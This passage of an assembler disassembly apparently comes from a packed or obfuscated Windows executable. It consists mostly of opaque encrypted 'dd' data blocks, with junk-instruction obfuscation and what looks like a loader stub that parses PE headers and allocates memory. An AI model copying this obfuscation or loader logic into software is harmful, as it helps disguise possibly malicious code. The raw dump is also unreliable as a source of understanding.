9A0BD135h, 0F0D4B885h, 0FE0BF256h, 279410C3h, 0C98FA605h dd 6FEFE3ACh, 0CB2CC976h, 5FA8A543h, 0B569E62h, 0B297865Bh dd 5AE05461h, 6531B6D2h, 78C13961h, 0B2AF1322h, 0AB9BF7F6h dd 7A8F7471h, 2E7B944Fh, 63477E86h, 83C76FF9h, 4616531h dd 0CCB82C3Eh, 43616531h, 0F379D17Fh, 77DBF202h, 218F513h dd 1ED24F33h, 316C188Ch, 9FE36165h, 51B63771h, 3DEA0944h dd 9E0FDDE8h, 0F2D6BA97h, 181BFC54h, 0A5000000h, 0D8431EBDh dd 0E24EAB99h, 24D19344h, 3F13E7DEh, 0BA0E434Eh, 0DEB2A846h dd 0A009FDD4h, 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh dd 2EB5F66h, 8871C5FCh, 0DFC4079h, 0CF7BCFFAh, 34CB68h dd 242C8900h, 54CE68h, 240C8900h, 81E38953h, 4C3h, 4EB8300h dd 5C241C87h, 50243C89h, 11373CB8h, 8BC18906h, 0C4832404h dd 3C8B5404h, 4C48124h, 56000000h, 8950CE89h, 84789F0h dd 34FF5E58h, 0C4835F24h, 240C8B04h, 81E78957h, 4C7h, 4C78100h dd 87000000h, 0E95C243Ch, 0FFFA41BFh, 0B3120845h, 5A9E9F21h dd 318D9B3Dh, 0B8A2F948h, 6113D10h, 0E0FFC503h, 7283ACF8h dd 276FA485h, 482B55FDh, 5BA38797h, 7957A13Fh, 55BEBD2Bh dd 12E8h, 3F023700h, 0C555AA2Ch, 3D0CAD91h, 7CB7A0ADh dd 0BAB01C43h, 185623Ah, 0A0D28058h, 71DAC081h, 0CD800000h dd 1C4268F1h, 5BF50000h, 0FC8086BAh, 0E830FF3Ah, 6, 0FB3F67CBh dd 5F5AE578h, 1AD28160h, 8B2B286Dh, 0F78161CFh, 5C741F5Dh dd 81D2CD80h, 64A797C7h, 9FF78101h, 0F82AC701h, 0FE83889h dd 86000000h, 1EA202C0h, 0C2A9F9D1h, 39F3A3E6h, 0F18B77A1h dd 7E88159h, 663DDD15h, 0C081D68Bh, 3DDD1503h, 9E8h, 0D8FD4C00h dd 0A0E1F16Ah, 0E960C69Bh, 0Ah, 0DDEE4940h, 0FA36E745h dd 8FB9BE58h, 61012E42h, 1EB8359h, 11850Fh, 1CE90000h dd 59000000h, 0BE7A2DB1h, 0EC2CA9FBh, 0F82D593Bh, 0FFFF64E9h dd 0B97275FFh, 0C4FDA033h, 0EBAC4235h, 8, 0F0702B00h, 4BAE978h dd 0AB680000h, 0E906113Fh, 0FFFA409Bh, 11403768h, 4091E906h dd 6668FFFAh, 0E9061141h, 0FFFA4087h, 362D246Eh, 60F3CED9h dd 9E457487h, 0C92A2971h, 7AF9C4DCh, 237994DBh, 0D126C71Ch dd 8E9677ECh, 3643ACB7h, 3933D81Bh, 8523D1B5h, 71E756C5h dd 17FBDADEh, 0F3605DA6h, 9842D9A3h, 7585D10Eh, 0EE292471h dd 0C5B4BA1Dh dd 9A6A84B3h, 0BD9F8F1Bh, 0CA1AEED4h, 3A61BCBAh, 6ED2ED3Bh dd 5A96ABFh, 3A61BC41h, 3498FCC6h, 7A8B09h, 0C236B7EDh dd 2C36922Bh, 30106h, 2D46EE00h, 0AD06B31h, 0CEB28D9Bh dd 1A925C8Ah, 0BD9F052Fh, 9384F20h, 0A3F84185h, 8145BA9Eh dd 3F046178h, 64BC324Ah, 0AAA7F059h, 4100A4B6h, 0A3411055h dd 0F8162372h, 0AB35271Bh, 107B4703h, 4501A535h, 0CA35107Bh dd 153307F0h, 849FFD3Dh, 70A3DE56h, 5B344B1Bh, 47EF7D4Ch dd 33ED3003h, 905ABE84h, 0B28D9706h, 1592AF85h, 0B2586BEh dd 1FC4F102h, 5FA8A5EEh, 8FD95071h, 0E42BEC66h, 75000002h dd 0DCC92A21h, 8A7BF8C9h, 7491427Fh, 23CC172Eh, 0C67DE6D9h dd 19247C9Fh, 0E9D42DDAh, 0BC8B9D0Ah, 3D46A7h, 0AAC22ED3h dd 0C58522DEh, 0BD7AE251h, 8FDAEA1Eh, 94776367h, 619EE4C3h dd 0E4554E16h, 0FFD3A79Eh, 812F4D51h, 6BBD5A79h, 0E9282103h dd 1D915BBFh, 0BD8566E8h, 26D7057Dh, 133438D2h, 0F5037660h dd 5FA54291h, 0B549C60h, 0D13C842Ah, 785B2F47h, 432C3A7Bh dd 523073Ah, 5C2FF08h, 866373D5h, 5843040Eh, 0E9000002h dd 50BDA69Dh, 3EEF7445h, 0E805DEF3h, 57B0A392h, 52E1724Dh dd 95A8F00Bh, 6558A14Eh, 0C80711FEh, 9CA9FA2Bh, 3EB6BA47h dd 0C5855D4Ah, 6FF66EDDh, 40E4760Dh, 0BD850E85h, 0FE4C300Ah dd 44C8F70Fh, 6E1EE600h, 0BB3A7ADCh, 0F514ECF9h, 0DC2C2ECDh dd 19Eh, 0F8D5DE38h, 6550A514h, 47DCA0FEh, 198C1195h, 82A1BD9Fh dd 218D970Fh, 0F3CEDD3Dh, 0F3D7CB0Fh, 0F4A7270Fh, 26723A60h dd 0F5BC6DA7h, 43952C34h, 73000000h, 9D4150BDh, 0F5C9BD88h dd 55277791h, 29881CCEh, 6BD9F05h, 1382483Ch, 0F43370Ah dd 0AA4479BEh, 60CBAADAh, 0A8257F3Ah, 35C6B950h, 0BA902Ch dd 0FE080000h, 79CDFC0Fh, 0C7B9CD05h, 340E3A60h, 50BD241Ah dd 43870B4Ah, 1D711599h, 8CF6C394h, 0A39EEB62h, 3DAE0DDFh dd 2684FDAh, 9CE46987h, 8529BBA1h, 0C39436C1h, 7ED27C46h dd 0CFDA7A8Fh, 0D6CA0EF2h, 0C66EBB62h, 0DF3387BEh, 48F678FBh dd 35C39433h, 500ED5E0h, 8125374Ch, 0BD99AA46h, 0BC69F3C7h dd 6D9A5964h, 2DDF2817h, 0D2866060h, 1299F70h, 6EB80000h dd 14638C57h, 0C2D13E25h, 63BB548Fh, 1266875Ch, 5A813023h dd 9D467983h, 0CD162B70h, 7AF9D420h, 964D788Dh, 1B6F8765h dd 0ECC5855Ch, 0DADEA71Dh, 1DED990Dh, 1862C394h, 0BEC73624h dd 65826583h, 0C63E2510h, 0D223D5DEh, 0A065F264h, 6DDCA084h dd 803F2D18h, 0C21CF7C0h, 7E4B5C7Bh, 0B452B68Ah, 3F44B133h dd 0C4D8E402h, 9E39ADBFh, 0EFBD9E73h, 455441ABh, 3A4EE674h dd 8D3A6159h, 47D19BB5h, 83774E56h, 54ACA14Fh, 64648A69h dd 0E53A6159h, 32BEA590h, 672B938Dh, 0A5192611h, 0D33AD428h dd 3802F6C9h, 3B8FBACDh, 783229C7h, 2E000000h, 347C089Ch dd 169E3A61h, 3A613472h, 0C8328DF5h, 0D6F381Eh, 8940E476h dd 6BD850Eh, 94E1483Ch, 3C42B3B9h, 9F08EB05h, 1BCBBF8Ah dd 0BF9BCAE5h, 0D53ACBE1h, 0E26EF5C0h, 90A8DC50h, 0DB3FB899h dd 0FAD7202Dh, 605FA716h, 0EED52D9Ch, 6960B31Ah, 7677ADE5h dd 2ABBF904h, 5E85B0C5h, 55B264B1h, 0A2166FA9h, 42A69BE0h dd 0A5509A6Eh, 52C96752h, 3, 0DE9C84FAh, 0A009FDD4h, 27967A57h dd 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh dd 0DFC4079h, 0CF7BCFFAh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 4BEFh mov [esp], edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp push esi push 17E45C15h pop esi shl esi, 4 push esi not dword ptr [esp] pop esi sub esi, 5D9E1F5Fh xor esi, 220D21E0h mov edi, esi pop esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push edi pop dword ptr [ebp+8] mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_543FDB ; --------------------------------------------------------------------------- aSFh db 8,'ŢĆäH˛ľ˛',0 db 0C4h dd 1142B4B8h, 0FFC50306h, 0C318FEE0h, 843E4D36h, 0ADBEBE71h dd 42D7646Dh, 0D1F3161Fh, 45E55E6Fh, 9E87144Fh, 0EE847138h dd 0FDD5393Fh, 37034705h, 3016B80Bh, 0D5096829h, 0B083F25Eh dd 0A2F23D43h, 73A374h, 7A92D019h, 256FF21h, 0A3865028h dd 981A837h, 1E84B509h, 358D8D54h, 6A061144h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0B41FC356h, 9C73346h, 0B1E9585h, 4D8D8906h, 8B060B17h dd 0B33A995h, 1985C706h, 24060B01h, 8B000064h, 985C7F3h dd 60B10h, 60000000h, 12E9h, 932C200h, 32FC3777h, 2D276873h dd 1BEE5FE0h, 893751D6h, 0B2735BDh, 0B5FF6106h, 60B1A31h dd 58F0FFCh, 66000000h, 5AA1F381h, 0AC595FFh, 0BA66060Bh dd 6A564Ch, 32DD95FFh, 0C08B060Bh, 0B5CB5DEBh, 0D7E21451h dd 5F4F2183h, 33005787h, 0B1C53559h, 0B03E0E1h, 652E2753h dd 0C29642C7h, 0FD72F1DDh, 1DBF5B6Eh, 44CA1022h, 627C48DEh dd 70DB12A0h, 34796580h, 893C76F9h, 33F1AC7Bh, 0B9C5ED78h dd 0E83AC46Ch, 3C98E737h, 209FE34Bh, 5AFFFA67h, 0BF28ACE4h dd 0EA6F8B00h, 0E8BF590Dh, 0Dh, 876A9EEFh, 0C82303F8h dd 0A45F76DAh, 0A9BD29B8h, 5A060B1Fh, 0C281DF8Bh, 6C05h dd 5479F5B9h, 24E9817Dh, 0FF7D545Fh, 5BD8B32h, 5E060B15h dd 3C98D89h, 0F681060Bh, 32CEB760h, 0E3E38166h, 3C68113h dd 6056105Ah, 1A958D89h, 0BD2B060Bh, 60B03A9h, 8BC68161h dd 562511E9h, 234D858Bh, 895F060Bh, 10E932h, 40C90000h dd 98BA1E9Dh, 1E57B599h, 7FE56F4Ch, 0EA83108Eh, 2890F01h dd 0B7000000h, 4A4A4AB1h, 850F49F5h, 1Dh, 850Fh, 2AE90000h dd 0EF000000h, 0B8DA54Dh, 1620A875h, 1177682h, 2FF2F2E7h dd 4D8D0152h, 0E9060B06h, 0FFFFFF6Fh, 0DB36965Eh, 93804E94h dd 57B7B163h, 6A8D8DF0h, 6A061146h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0C02C350h dd 10325308h, 41B58BFAh, 8B060B08h, 4D8D89D6h, 8B060B17h dd 0B20F59Dh, 1985C706h, 1C060B01h, 89000061h, 0B2EBDB5h dd 850F06h, 0C7000000h, 0B100985h, 6, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 805B1938h, 0DE96066h, 0ED000000h, 71BE5085h, 3B0E3623h dd 0BE7DF403h, 0F61E28Ah, 684h, 718D0100h, 0FF060B1Fh dd 0B2A41B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 668AF858h, 669604BFh, 40C5C881h dd 9E9h, 864F5200h, 2C3EB2F3h, 95FFF29Bh, 60B0AC5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 9EC35646h, 2D852924h dd 6A060B19h, 0DD95FF00h, 8B060B32h, 6319EBC0h, 97B4FE04h dd 0D9462A6Ch, 0DA6EBA3Ch, 77B5B91Ch, 0CF13FA13h, 1265CBCFh dd 0B13EE853h, 0F232565Dh, 0F201EEACh, 0B1325655h, 0B13256ABh dd 0E80D1AD5h, 0EBA173EAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132545Dh, 0B93581AEh, 0B6325457h dd 0B93259ABh, 6C327FD5h, 0F63256E8h, 0F6325677h, 0E3F27DB8h dd 0B13246B4h, 1733BEAEh, 830FC2B0h, 0CF0B5628h, 3BC77A0Ah dd 58035911h, 0B1325679h, 0C2D0FB7Eh, 7E1CFF6Dh, 5A0833F2h dd 0D1620E0Dh, 6326C411h, 0A5436B4h, 58AEEA66h, 0B1325665h dd 68407C2h, 0E270DB79h, 1EBCDF3Eh, 7AA813EBh, 0D7E3D7CDh dd 0B13EBFC2h, 4C6656EAh, 48F21587h, 4DEC984h, 0D0AFED17h dd 0EB03C0CFh, 0D103590Fh, 0EB6A0CCAh, 0DCB6C68Dh, 0D8C26548h dd 942ED99Bh, 0E36267B5h, 0E9686752h, 0E9680EF4h, 6D7DC1C0h dd 79D4D74Eh, 58390831h, 0B13256ECh, 2C4611F3h, 0D0AFB5A8h dd 0B13250CBh, 75E500AEh, 2C41B4FAh, 58AE67A4h, 0B13256C6h dd 8B570A25h, 0B7D31E9Eh, 232FA27Dh, 6F2B363Eh, 0D7E7DA11h dd 0F24ABFD6h, 0B1325042h, 9585E0D5h, 2C611467h, 38530E2Fh dd 0E13672FEh, 0B139BF0Fh, 0E59556AEh, 7171A4AAh, 5DAD6852h dd 0D1035960h, 27CDD250h, 3EC2EC0Fh, 0EB534EFCh, 48F20E05h dd 4DEC990h, 0B16AED1Dh, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B1DA36EAh dd 0EB325675h, 0F875BC3Bh, 34BF504Ch, 0B7222806h, 0F7AFD4DEh dd 33BF50BAh, 0B7238454h, 0F793D463h, 0FFDA5064h, 593256B3h dd 0B1325626h, 0F7BFD469h, 0B1325046h, 776056ABh, 0BA1A1350h dd 0E35A00ECh, 4EAEFECDh, 0BA21030Fh, 0A9B7DB5Bh, 4E3458D3h dd 0C0B7DF87h, 0DB345DA0h, 0A1323ED1h, 0F15A56EAh, 0DB325578h dd 0EBE2A9BAh, 82469656h, 0F7BFD427h, 33BB5046h, 0B723103Ah dd 0B23F166Ch, 82CADDEAh, 0E398A5B5h, 0B15A52D0h, 0D932564Dh dd 0B13252AEh, 23CD563Dh, 0B7395DDAh, 50B0DF8Fh, 0D03447ACh dd 0F7BFD3FEh, 0D1F150ABh, 83BBD49Ah, 0B13250A5h, 33F55617h dd 0B7395992h, 0B13246D5h, 3A52958Bh, 0A074DBCFh, 0B10DD5BCh dd 0CEB17529h, 0BA4654BEh, 0B52229D4h, 76B158DFh, 76D8BDC1h dd 0B13346ADh, 43D95675h, 0B222117Dh, 5A32565Dh, 0E4F13747h dd 5952BADCh, 0B13256ABh, 8DD8D78Fh, 3A3447A0h, 0A074B3C7h dd 0B977DDBCh, 33B150D4h, 0B723104Bh, 73FB3753h, 595256AFh dd 0B13256D5h, 0D1D8D7B0h, 3A34473Fh, 0A074B708h, 54806D5Bh dd 0C53447E8h, 3A0CDD6Ch, 0FE845974h, 0B075A0D4h, 0B236236Ah dd 9A30BDACh, 3A711563h, 0BA1617D8h, 0B8BFDDA8h, 8A345D43h dd 8A3B2473h, 3237210Ch, 78D9522Ch, 0B946994Eh, 0A53BEB33h dd 6D95056h, 595295CFh, 0B1325657h, 9D8D7F1h, 3A34479Fh dd 0A074B750h, 0B032EF73h, 710156BAh, 33B9FDAEh, 0B723104Fh dd 0F7D7D4DEh, 725350BAh, 0B132BEB5h, 306856EAh, 0A078B49Fh dd 0F4B790BCh, 0E7345D75h, 0AE5F6FC6h, 0E487A983h, 3C345DB8h dd 0BF4F4E50h, 0E3E2A9ECh, 31323E25h, 0B15856BAh, 0F7BFE4A2h dd 61CD50BFh, 0B15A0C0Fh, 0DB32562Bh, 5080A9D5h, 4E3447ACh dd 0E4F137A5h, 5952BA31h, 0B132565Dh, 81D8D7F4h, 3A34471Ch dd 29DA5EDEh, 0E43256D7h, 0F7AFC415h, 8A6F5064h, 5F475ACFh dd 0B130D0B5h, 73FB37AEh, 3A67565Fh, 4DF6D547h, 59610183h dd 0B13256EAh, 0D5D8D72Fh, 3A3447F1h, 0CCB95E28h, 596401BEh dd 0B1325660h, 904696A0h, 4E67AE5Eh, 0A074CB78h, 0C4090B73h dd 0D72022B6h, 56B248D6h, 312CDC5Eh, 2CDAA6B4h, 5A3256ADh dd 4D4FDF01h, 4ECC0B02h, 0EF6D0D8Ah, 78CE1331h, 0E4325A9Fh dd 75B1BA25h, 0E06401AFh, 497791F8h, 0B13256D5h, 0F7FFD42Dh dd 0B1335064h, 0C4B956BAh, 0AFB93055h, 0F7BFEC25h, 0EEB95046h dd 0C5E95DA3h, 0C4EC6DDAh, 0BD6FDDECh, 323E09FCh, 5BD9427Dh dd 312CDD3Bh, 353DBE55h, 0B1325699h, 0BEDBAD2Bh, 0B1329351h dd 5AC9D6EAh, 0B18ED27Ah, 4AB256BAh, 1DB659BFh, 313256AEh dd 353DB5ACh, 0B1325631h, 0D6C9D7B3h, 29B65909h, 31325675h dd 3054A65Dh, 0BEB259A6h, 0B132C72Ah, 41D1D657h, 0BE42AD2Bh dd 0B132D351h, 0AFB930EAh, 31CAB5F5h, 0F346EE41h, 0C53768DDh dd 9C0CD693h, 8FB26E23h, 4E0122C3h, 0A0749B57h, 0AFB930ECh dd 0D7CAB1F5h, 59B3AD3Bh, 3A547629h, 41D5D6B0h, 30C9D731h dd 0D121226Bh, 2CA0A980h, 0EC3447ACh, 0D0CE13FCh, 0B0CE2B39h dd 0BB93528h, 0B7396427h, 7CB0DD07h, 883447EDh, 0C36A66E9h dd 8888DDBAh, 0E1345D7Ah, 0F7FFD431h, 8D0B504Ch, 8C4D0E9Eh dd 0F4F546BCh, 0B1325453h, 7635BDD5h, 0B133AEAFh, 0BB95675h dd 0B7231037h, 6A3949D6h, 6F0949DAh, 0ECB95922h, 494FD5A7h dd 0B23122D5h, 0EEBBAEB7h, 0A5F5D571h, 7101B451h, 0B13296B4h dd 0AFB930AEh, 313E2BDCh, 0BB46BD50h, 31C2B555h, 0A7462611h dd 0B6F4649Eh, 0B0759153h, 0B132565Dh, 71B19125h, 0B1A5BF52h dd 765456ABh, 3B3A59D2h, 0BED1D6F4h, 39B29DF5h, 0F6F557E5h dd 0B132565Fh, 32F5DDAEh, 0C8D95097h, 210CD7CDh, 313D2245h dd 0BF47C6D4h, 4E4CD713h, 0B346C62Ah, 76B952B6h, 33BF0945h dd 0B72310BEh, 23CD00FBh, 0B7231074h, 0BB4696E1h, 3BF9EFEh dd 0B7231053h, 3A6446B6h, 23CD0360h, 0B72310CAh, 46FC7DF6h dd 0CCB1080Ch, 0A1475712h, 0D7981FC5h, 0D7B75902h, 0F78459F6h dd 0AAD9FDAFh, 0B3CA2BD4h, 95445DEh, 1A549FDEh, 353DEE8Ch dd 73DFD13h, 5A9957FCh, 3A96A55Fh, 0EF6B0D69h, 0B9F09F08h dd 5DB903ABh, 0B132BEB5h, 306856EAh, 0A07F949Fh, 0B977DDBCh dd 0F7A7D4D4h, 785350BFh, 0E4325295h, 75B1BA20h, 0B1DA362Dh dd 0EB3256EAh, 0FCD1BCF4h, 0F4F550ABh, 0B13256A5h, 4D7791AEh dd 0B1325657h, 3A549698h, 7CB091CBh, 0B03447ACh, 0D7325675h dd 21A2AD3Bh, 4AB25628h, 0B9B65946h, 0F1325656h, 0BEDBAD2Bh dd 0B132A851h, 4AB216EAh, 45B6599Eh, 0F13256BAh, 0D7C2B1DDh dd 313DAD2Fh, 0B1D7D258h, 333156ABh, 0B73940F0h, 53C9D6AAh dd 0B1FCD27Ah, 4AB256BAh, 0DB659BEh, 0D73256AEh, 5255ADD6h dd 0B188D2A4h, 52B256D5h, 0C1C9D61Ah, 0B187D27Ah, 3A5456BAh dd 49D1D643h, 0C58AAD2Eh, 0B40CD610h, 8FB214DFh, 310F22F8h dd 89463ED4h, 7CB0A935h, 0D73447FCh, 56B248D6h, 4AB33056h dd 9546BED6h, 312CDDCDh, 3054A632h, 0C5F2D711h, 4E673662h dd 0A074CB28h, 0F4BB0B5Bh, 0CCB13752h, 343D57ABh, 0B1325783h dd 83BBEC5Eh, 3A6250E1h, 0A0749BF7h, 810E6FBCh, 0A0B05905h dd 3A3256AFh, 0BA3D6FEDh, 33B906ADh, 0B7231018h, 0E9026AD3h dd 0B1C8D97Ah, 0BB956BAh, 0B72310CCh, 0F7A3D42Dh, 38265046h dd 0A175DF9Ch, 7CB0DD85h, 3A3447ACh, 386A6669h, 64DB5EE5h dd 7632565Dh, 0B130AEEBh, 0B6D95657h, 0B0CA136Ch, 3A3256D5h dd 0A074C750h, 20B0D573h, 0A53447FCh, 0F6BB61D4h, 0B2CAD5BEh dd 33F55A22h, 0B7231066h, 0B13256D7h, 49B15301h, 326D2B77h dd 0C532AEC7h, 0F7845946h, 0B1B2FFAFh, 0B7475657h, 0B4DAD5EBh dd 4E1F5E3Eh, 323256EAh, 0BAD9539Dh, 7CA8DDE9h, 3A34471Bh dd 186965AAh, 31325657h, 773142DEh, 0B2379656h, 0A0749B68h dd 0F6BB1E73h, 0BD75DFB2h, 69C500B6h, 69C59085h, 0B23796D4h dd 0A0749B29h, 0F6BB1ED3h, 0BD75DFE2h, 7101689Eh, 19331030h dd 0B21323DDh, 0B3F2D568h, 0B13257ECh, 0C5E95DABh, 1EA8DCDCh dd 31344664h, 72315796h, 383A1133h, 0A5D95A1Ah, 4E178E59h dd 9A325657h, 32EAA16Dh, 0F6BB5415h, 0BD75DFE2h, 72FB378Dh dd 32DEDDEFh, 5952AA99h, 0B13256AEh, 45D8D70Dh, 3A3447E4h dd 0A074DB6Fh, 32FB65ECh, 353D564Ah, 0B1325678h, 0C4CD51D6h dd 0B947A9A2h, 0B041BE07h, 0B44156ABh, 5A269156h, 4D77DF08h dd 4E3E238Ah, 86CD5ECFh, 0B1330AB5h, 26B059AEh, 3A325657h dd 0B60BAAEEh, 0B1BED4DAh, 0F4CD56EAh, 0B54DD589h, 323A22BAh dd 0C5325A22h, 93CBDACh, 4ECDA9A8h, 0B1325312h, 5A99A5D5h dd 0A14DD529h, 323D2270h, 0C43446C5h, 0F6B9174Ch, 0BD6DDDAAh dd 0F6B915BCh, 0BD6DDDAFh, 0F6B96F3Eh, 0BD6DDDEEh, 0C43A094Eh dd 0E6B904AFh, 0A1677D59h, 3A2603ADh, 6B195A08h, 0EB37BD28h dd 0F6B9443Eh, 0BD6DDDEEh, 3236095Eh, 3B315351h, 0B7394540h dd 0B222292Dh, 9A735722h, 0B06EDF72h, 4ECDEED4h, 0B48BA915h dd 42325675h, 4E64BF11h, 7853A9A2h, 0E432466Ch, 75B1BADCh dd 0B1DA3657h, 0EB3256D5h, 0E1EDBC6Bh, 0BB95064h, 0B7231037h dd 8EB19F6Eh, 20B659AEh, 3A325657h, 0BD47A9ACh, 0E13A232Ah dd 0B132DE02h, 32372575h, 53D9427Dh, 4ECE13D4h, 0C4CD5ADBh dd 5905A95Fh, 0B13256DAh, 0F4B93CA7h, 0C3356F16h, 4D77A916h dd 0B1362939h, 0CEB15E29h, 0B34656A2h, 4E8A58BCh, 8CDA954h dd 0B13256D0h, 7AD9FD19h, 0B42229F6h, 0CEB159CEh, 0A047504Dh dd 0B575DDEFh, 5A3E09DCh, 0B575DDB6h, 5A3E095Eh, 0B575DDF9h dd 9A3E09FEh, 5AB152E5h, 0A14DD558h, 0F03323ADh, 0EDBB8F7Ch dd 4E8A57AAh, 8CDA92Ah, 0B13256EFh, 36D9FD86h, 0B9F09FDBh dd 5DB9035Dh, 0B977DDCEh, 0C33E136Ch, 0A1776DA3h, 5ACA55A2h dd 0B1D9AFE9h, 0BDF09F14h, 5DB903BAh, 0D1CE92DEh, 0B1325646h dd 5BB30C57h, 0B723071Eh, 6A019FE6h, 3ACE0B63h, 0A074DBCFh dd 0B10DD5BCh, 8EB13229h, 32372351h, 40D94290h, 0B1362928h dd 0CEB15EA1h, 0B34656E6h, 0F4CD5E9Eh, 0A5F5D546h, 0CEB18DB6h dd 0BE4653BEh, 0B72229D4h, 3A7347DEh, 0EEB95292h, 3A2FBDE6h dd 0EEB95232h, 3A21BDB6h, 0EEB9521Ah, 0B56D7DA2h, 3237BDD4h dd 0C43146D4h, 681917D4h, 0B0330A63h, 4ECDA9CDh, 0B137EF45h dd 1AC1565Dh, 3A53C145h, 72FBAA12h, 596107FBh, 0B13256D5h dd 0F1D8D7B0h, 3C344727h, 0A074F320h, 0B156EE5Bh, 63DA56AEh dd 3A325657h, 5AF36DA0h, 0B57955C1h, 0A64097D1h, 8A221D76h dd 5A30247Bh, 5A26BD5Fh, 0CEA8DBBCh, 4E3447FEh, 3C3ABD78h dd 0A09EF34Fh, 0EAE1A9ECh, 0E4F10E2Ch, 0B1DABA31h, 0EB32565Dh dd 0E3BDBC2Fh, 3C525046h, 0A074F311h, 0B977DDD3h, 0F4B95163h dd 0B575DF79h, 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h dd 34F436ABh, 0B7397E90h, 0C2283EADh, 4CDFE62h, 0B73945EFh dd 0CC2AD3D0h, 61CD50A0h, 60B8DB05h, 0E03447EDh, 3C68862Ah dd 0A0748768h, 0F1855973h, 0E3EADDB6h, 0B2686752h, 0E0B0DF6Dh dd 0D0345D73h, 0E85251C3h, 0 dd 0EA815Ah, 52061153h, 2451828Bh, 6DB9060Bh, 0F741C64Eh dd 39055AE1h, 25000030h, 7FFFFFFFh, 24518289h, 595A060Bh dd 0E85251C3h, 0 dd 30EA815Ah, 8B061153h, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h dd 8BC3595Ah, 8DC08BC0h, 11494185h, 66D0FF06h, 858DC18Bh dd 61152F9h, 2B18589h, 858D060Bh, 6115329h, 17DD8589h dd 0B8060Bh, 0B000000h, 47840FC0h, 0C6000000h, 0B284585h dd 0DF685606h, 0FFA9C530h, 0B1355B5h, 18858D06h, 0FF060E7Dh dd 8D8D50D0h, 60B0545h, 68046A51h, 1000h, 159DB5FFh, 0D0FF060Bh dd 159DBD8Bh, 7F03060Bh, 0F8C7813Ch, 0C7000000h, 202447h dd 9D8D6000h, 60B0EB9h, 0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h dd 234CF6h, 8EBh, 42120000h, 9DE956DDh, 68000004h, 61154CFh dd 0FA2B42E9h, 553D68FFh, 38E90611h, 68FFFA2Bh, 61156AFh dd 0FA2B2EE9h, 0F4C3D7FFh, 5A77BE6Fh, 2C1D6C99h, 0F1C0D637h dd 407F8562h, 0DE3D2493h, 8F78FBDAh, 7FA84B76h, 28C51E29h dd 8871E2DFh, 49B8CC60h, 400FC585h, 0FBDADED8h, 605DA617h dd 30CA71F3h, 0D5719C35h, 2E4E4EF8h, 48B5C715h, 67BC0D30h dd 7492F65Ah, 9F1A11E0h, 10E4DEBDh, 6133B0D0h, 0EBE6313Ah dd 566BB667h, 0D1A594E7h, 502ABBF1h, 12E6E7BDh, 2C361EFBh dd 2E6D6h, 2D463E00h, 0AD06B31h, 9F05A7E2h, 0B989A8BDh dd 8374DCDh, 4D3C1ECFh, 29F07669h, 393F0487h, 9A12D863h dd 4111EFEBh, 72AA1E64h, 0A3CB112Ah, 4B1CD62Eh, 64915BBFh dd 0D03D2613h, 3D0C1FC7h, 0D6117549h, 8FDA5871h, 27C5BA88h dd 11000003h, 0F815CE05h, 0A6479CADh, 10FD665Bh, 0FF28CB0Ah dd 0FA599AA5h, 3D0018F3h, 8DB0C926h, 506FB956h, 24116283h dd 961ED23Fh, 0C58549F2h, 6F1E8675h, 40E4760Dh, 0BD84EBDEh dd 12836951h, 0C32C370Eh, 283286B9h, 0EEEA219Eh, 0E8D499A2h dd 7A496C18h, 0F60AE33Ah, 23077BCFh, 1B2E7105h, 84913C85h dd 8BB3BE49h, 14FE8664h, 2B9B3h, 0B897E300h, 0E3B4ABBh dd 0D0E938D5h, 0A59CE203h, 744B51BEh, 0EA0168EFh, 5BB4AF96h dd 0BE47F42h, 0F411C2FDh, 0BC4D96A3h, 484C38ACh, 74C3C585h dd 0AD0D6F8Ch, 6BA11C0Bh, 4C9EF299h, 848076D8h, 0DF1C9BDh dd 7B05A525h, 0E6D3243Ah, 625DAB12h, 0E7E6209Eh, 0A32276ABh dd 